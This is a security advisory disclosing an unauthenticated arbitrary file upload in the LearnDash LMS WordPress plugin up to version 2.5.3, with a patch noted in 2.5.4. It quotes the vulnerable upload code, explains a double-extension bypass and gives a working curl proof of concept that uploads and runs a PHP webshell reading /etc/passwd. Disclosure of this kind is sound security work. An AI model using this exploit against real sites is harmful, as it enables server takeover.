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[FD] WordPress LearnDash LMS: Unauthenticated arbitrary file upload

Software: LearnDash LMS (WordPress plugin)
Version: Up to 2.5.3
Vulnerability: Unauthenticated arbitrary file upload
Author URL: https://www.learndash.com/changelog/
Advisory: http://nin.link/learndash/

1. Overview:

This vulnerability has been exploited at least since Dec. 27th, 2017. Here's a log sample showing the attack: - - [27/Dec/2017:20:29:33 +0100] "POST / HTTP/1.0" 200 47095 - - [27/Dec/2017:20:29:34 +0100] "GET /wp-content/uploads/assignments/assig.php. HTTP/1.1" 200 266 - - [27/Dec/2017:20:29:36 +0100] "GET /wp-admin/ms-site.php HTTP/1.1" 200 4110

2. Description:

The plugin offers the possibility to create courses and to assign lessons to them. Each lesson can allow uploads, and it is possible to restrict them by file extensions. Uploads are handled by the learndash_assignment_process_init() function located in the "wp-content/plugins/sfwd-lms/includes/ld-assignment-uploads.php" script:

// ===================================================================
function learndash_assignment_process_init() {

   if ( isset( $_POST['uploadfile'] ) && isset( $_POST['post'] ) ) {
      $post_id = $_POST['post'];
      $file = $_FILES['uploadfiles'];

if (( ! empty( $file['name'][0] ) ) && ( learndash_check_upload( $file, $post_id ) ) ) {
         $file_desc = learndash_fileupload_process( $file, $post_id );
         $file_name = $file_desc['filename'];
         $file_link = $file_desc['filelink'];
         $params = array(
            'filelink' => $file_link,
            'filename' => $file_name,
// ===================================================================

Neither this function nor the learndash_check_upload() and learndash_fileupload_process() functions it calls check if the user is authenticated or allowed to upload files, or even if the post ID, course and lesson exist before accepting the file.

The plugin calls the WordPress wp_check_filetype() API function, removes the filename extension and appends the one returned by this function. Because wp_check_filetype() will return an empty value for PHP scripts, the file extension will be removed: "script.php" will become "script.". But that can be bypassed by appending a double extension, e.g., "script.php.php" which will be turned into "script.php.". Although the PHP filename ends with a [.] dot, it is still executed by default by the PHP interpreter on servers running Apache with PHP CGI/FastCGI SAPI.

3. Proof of concept:

$ echo '<?php echo exec("ls -la /etc/passwd");' > shell.php.php
$ curl -F "post=foobar" -F "course_id=foobar" -F "uploadfile=foobar" -F "uploadfiles[]=@./shell.php.php" http://victim.tld/
$ curl 'http://victim.tld/wp-content/uploads/assignments/shell.php.'
-rw-r--r-- 1 root root 2385 Apr 14  2017 /etc/passwd

4. Timeline:

Authors were informed on January 2nd and released a new version 2.5.4 on January 3rd.


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